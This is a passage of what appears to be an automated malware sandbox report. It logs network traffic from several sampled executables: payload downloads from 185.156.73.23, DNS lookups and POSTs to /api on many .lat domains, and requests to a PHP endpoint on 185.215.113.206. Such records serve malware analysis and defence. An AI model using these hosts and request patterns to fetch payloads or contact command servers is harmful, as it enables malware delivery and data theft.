                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: 1
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:25:57 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Disposition: attachment; filename="fuckingdllENCR.dll";
                        Content-Length: 97296
                        Keep-Alive: timeout=5, max=98
                        Connection: Keep-Alive
                        Content-Type: application/octet-stream
                      • flag-nl
                        GET
                        http://185.156.73.23/files/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:25:58 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=97
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/files/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:00 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=96
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/files/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:03 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=95
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/files/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:05 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=94
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/files/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:07 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=93
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/files/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:09 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=92
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/files/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:12 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=91
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/files/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:14 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=90
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/files/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:16 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=89
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/files/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:18 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=88
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/files/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /files/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: C
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:20 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Length: 1
                        Keep-Alive: timeout=5, max=87
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-nl
                        GET
                        http://185.156.73.23/soft/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /soft/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: d
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:23 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Disposition: attachment; filename="dll";
                        Content-Length: 242176
                        Keep-Alive: timeout=5, max=86
                        Connection: Keep-Alive
                        Content-Type: application/octet-stream
                      • flag-nl
                        GET
                        http://185.156.73.23/soft/download
                        6d4b9dcf61.exe
                        Remote address:
                        185.156.73.23:80
                        Request
                        GET /soft/download HTTP/1.1
                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                        User-Agent: s
                        Host: 185.156.73.23
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:24 GMT
                        Server: Apache/2.4.52 (Ubuntu)
                        Content-Disposition: attachment; filename="soft";
                        Content-Length: 1502720
                        Keep-Alive: timeout=5, max=85
                        Connection: Keep-Alive
                        Content-Type: application/octet-stream
                      • flag-us
                        DNS
                        grannyejh.lat
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        grannyejh.lat
                        IN A
                        Response
                      • flag-us
                        DNS
                        grannyejh.lat
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        grannyejh.lat
                        IN A
                      • flag-us
                        DNS
                        home.fivetk5ht.top
                        1b12d9265c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.fivetk5ht.top
                        IN A
                        Response
                        home.fivetk5ht.top
                        IN A
                        185.121.15.192
                      • flag-us
                        DNS
                        home.fivetk5ht.top
                        1b12d9265c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.fivetk5ht.top
                        IN AAAA
                        Response
                      • flag-us
                        DNS
                        discokeyus.lat
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        discokeyus.lat
                        IN A
                        Response
                        discokeyus.lat
                        IN A
                        172.67.197.170
                        discokeyus.lat
                        IN A
                        104.21.21.99
                      • flag-gb
                        GET
                        http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=0
                        1b12d9265c.exe
                        Remote address:
                        185.121.15.192:80
                        Request
                        GET /zldPRFrmVFHTtKntGpOv1734579851?argument=0 HTTP/1.1
                        Host: home.fivetk5ht.top
                        Accept: */*
                        Response
                        HTTP/1.1 404 NOT FOUND
                        Server: nginx/1.22.1
                        Date: Fri, 20 Dec 2024 08:26:00 GMT
                        Content-Type: text/html; charset=utf-8
                        Content-Length: 207
                        Connection: close
                      • flag-us
                        POST
                        https://discokeyus.lat/api
                        818f5dca0c.exe
                        Remote address:
                        172.67.197.170:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: discokeyus.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:01 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=gnlktnk7vs8j6qor5l1nsjqggp; expires=Tue, 15 Apr 2025 02:12:40 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BUY9HwE0Cb5c%2FK0hud2IkF%2BTzhUuFUNY3ctVs%2BqZ7edEszrD%2BFE6vv6CMQ%2FVU1uA5bUD%2Bk9K67GVeItg5L6fQJrZdw0qn0ITjV6IABB1l2YEYGBljaesElXJSLDZXudcVg%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3ebc1d3348bc-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=29178&min_rtt=26295&rtt_var=10966&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=582&delivery_rate=130891&cwnd=251&unsent_bytes=0&cid=7b1a1c66c5d4ee23&ts=274&x=0"
                      • flag-us
                        DNS
                        home.fivetk5ht.top
                        1b12d9265c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.fivetk5ht.top
                        IN A
                        Response
                        home.fivetk5ht.top
                        IN A
                        185.121.15.192
                      • flag-us
                        DNS
                        home.fivetk5ht.top
                        1b12d9265c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.fivetk5ht.top
                        IN AAAA
                        Response
                      • flag-gb
                        POST
                        http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
                        1b12d9265c.exe
                        Remote address:
                        185.121.15.192:80
                        Request
                        POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1
                        Host: home.fivetk5ht.top
                        Accept: */*
                        Content-Type: application/json
                        Content-Length: 31
                        Response
                        HTTP/1.1 404 NOT FOUND
                        Server: nginx/1.22.1
                        Date: Fri, 20 Dec 2024 08:26:01 GMT
                        Content-Type: text/html; charset=utf-8
                        Content-Length: 207
                        Connection: close
                      • flag-us
                        DNS
                        necklacebudi.lat
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        necklacebudi.lat
                        IN A
                        Response
                        necklacebudi.lat
                        IN A
                        172.67.215.121
                        necklacebudi.lat
                        IN A
                        104.21.50.254
                      • flag-us
                        POST
                        https://necklacebudi.lat/api
                        818f5dca0c.exe
                        Remote address:
                        172.67.215.121:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: necklacebudi.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:01 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=nl2op3ug0fbgq67v8orgdfp3gd; expires=Tue, 15 Apr 2025 02:12:40 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8OxVbFJljQpw5r32CHKphxhdz1R7vBQPRMuYdnIakl7x%2F9JkyhSMhJVjWKICHA6h6FMjroMtlplDjdkUaMzbRQVhHCF8XxTQ42q%2FeknB84z2oNEQngU9B%2FBXMW5ietHY54x5"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3ebe69ab6546-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=30932&min_rtt=26322&rtt_var=14331&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2856&recv_bytes=584&delivery_rate=132080&cwnd=253&unsent_bytes=0&cid=339eb1d39f32be56&ts=244&x=0"
                      • flag-us
                        DNS
                        energyaffai.lat
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        energyaffai.lat
                        IN A
                        Response
                        energyaffai.lat
                        IN A
                        104.21.112.1
                        energyaffai.lat
                        IN A
                        104.21.80.1
                        energyaffai.lat
                        IN A
                        104.21.96.1
                        energyaffai.lat
                        IN A
                        104.21.16.1
                        energyaffai.lat
                        IN A
                        104.21.64.1
                        energyaffai.lat
                        IN A
                        104.21.48.1
                        energyaffai.lat
                        IN A
                        104.21.32.1
                      • flag-us
                        POST
                        https://energyaffai.lat/api
                        818f5dca0c.exe
                        Remote address:
                        104.21.112.1:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: energyaffai.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:01 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=o5p9m9a6a6d9k63h79ug4uiq5d; expires=Tue, 15 Apr 2025 02:12:40 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I2sBkwculUPj7A8Z7oPaozviGGniUSXV45%2BtU7kxd6ZH6tW%2Bc3yDdXxph2NHSuU0i4SKlVzdubbzrp%2BljL9hEAO4qPpLXlmbYc1qT4%2B18vrx%2Bb2s4OC0lnBXQsd1WmdZLyU%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3ec17b8eecfd-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=47066&min_rtt=26914&rtt_var=43807&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=583&delivery_rate=98795&cwnd=249&unsent_bytes=0&cid=d0f46d7a951f8e0c&ts=397&x=0"
                      • flag-us
                        DNS
                        aspecteirs.lat
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        aspecteirs.lat
                        IN A
                        Response
                        aspecteirs.lat
                        IN A
                        104.21.66.85
                        aspecteirs.lat
                        IN A
                        172.67.157.253
                      • flag-us
                        POST
                        https://aspecteirs.lat/api
                        818f5dca0c.exe
                        Remote address:
                        104.21.66.85:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: aspecteirs.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:02 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=0pkqrn1ui58ecio5v9c0rboi4h; expires=Tue, 15 Apr 2025 02:12:41 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LZ1IL3eqqWLQw0ZrQw3ysvbSlwAu3IzW9tCgKwTSmpNWYB%2FyDqm%2FauKDCRJdU5TBiCi3i8STYti3G%2FhhhzXtZSJQ6UgZFexJ%2FfZ%2F%2B4KZG0ISWAZ1Ul0%2FtsrppKuzUVt6bw%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3ec3be4d9557-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=32340&min_rtt=26314&rtt_var=14840&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=582&delivery_rate=98476&cwnd=253&unsent_bytes=0&cid=d18f326c320c26e4&ts=278&x=0"
                      • flag-us
                        DNS
                        sustainskelet.lat
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        sustainskelet.lat
                        IN A
                        Response
                        sustainskelet.lat
                        IN A
                        104.21.16.1
                        sustainskelet.lat
                        IN A
                        104.21.96.1
                        sustainskelet.lat
                        IN A
                        104.21.80.1
                        sustainskelet.lat
                        IN A
                        104.21.112.1
                        sustainskelet.lat
                        IN A
                        104.21.48.1
                        sustainskelet.lat
                        IN A
                        104.21.64.1
                        sustainskelet.lat
                        IN A
                        104.21.32.1
                      • flag-us
                        POST
                        https://sustainskelet.lat/api
                        818f5dca0c.exe
                        Remote address:
                        104.21.16.1:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: sustainskelet.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:02 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=m8h71c6upaobcrp7l2ojqba7ih; expires=Tue, 15 Apr 2025 02:12:41 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GxMJCsFgqoUG5RRZ%2FLPjVH6RaEItHQPLiuNyH%2Bb6H2UZ641cJX2Euoe6Qs%2FDJmmdz5Lovw01ZYf%2FKDOuyj8zqv58tD4cNLCrv3PLGtiOag8BM2Rr7LLX0e7E%2BCaquAFh9sDtlA%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3ec5edf1718a-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=28567&min_rtt=26909&rtt_var=8341&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2859&recv_bytes=585&delivery_rate=130929&cwnd=253&unsent_bytes=0&cid=4ddacfb05c699a03&ts=253&x=0"
                      • flag-us
                        DNS
                        crosshuaht.lat
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        crosshuaht.lat
                        IN A
                        Response
                        crosshuaht.lat
                        IN A
                        104.21.52.127
                        crosshuaht.lat
                        IN A
                        172.67.199.59
                      • flag-us
                        POST
                        https://crosshuaht.lat/api
                        818f5dca0c.exe
                        Remote address:
                        104.21.52.127:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: crosshuaht.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:03 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=vauqrmb1j3ea5499t4gnbfic80; expires=Tue, 15 Apr 2025 02:12:42 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0zmo7qP3I6Ynkc%2BK9WwcfWWZ4%2BQWbXKLKK1h%2F2TVJPFrFwksRjSBlTr4%2BMhRD%2FNxc2k4%2F7HNXsC7h%2BhhTjHfCGHcajytARHCyaMoP7P3F7q7wGvmT3%2By2vP206HMwUrFpQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3ecacd9448ce-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=34035&min_rtt=33178&rtt_var=8254&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2852&recv_bytes=582&delivery_rate=105283&cwnd=253&unsent_bytes=0&cid=61526b237359db29&ts=234&x=0"
                      • flag-us
                        DNS
                        rapeflowwj.lat
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        rapeflowwj.lat
                        IN A
                        Response
                      • flag-ru
                        GET
                        http://185.215.113.206/
                        4d412062f0.exe
                        Remote address:
                        185.215.113.206:80
                        Request
                        GET / HTTP/1.1
                        Host: 185.215.113.206
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:03 GMT
                        Server: Apache/2.4.41 (Ubuntu)
                        Content-Length: 0
                        Keep-Alive: timeout=5, max=100
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-ru
                        POST
                        http://185.215.113.206/c4becf79229cb002.php
                        4d412062f0.exe
                        Remote address:
                        185.215.113.206:80
                        Request
                        POST /c4becf79229cb002.php HTTP/1.1
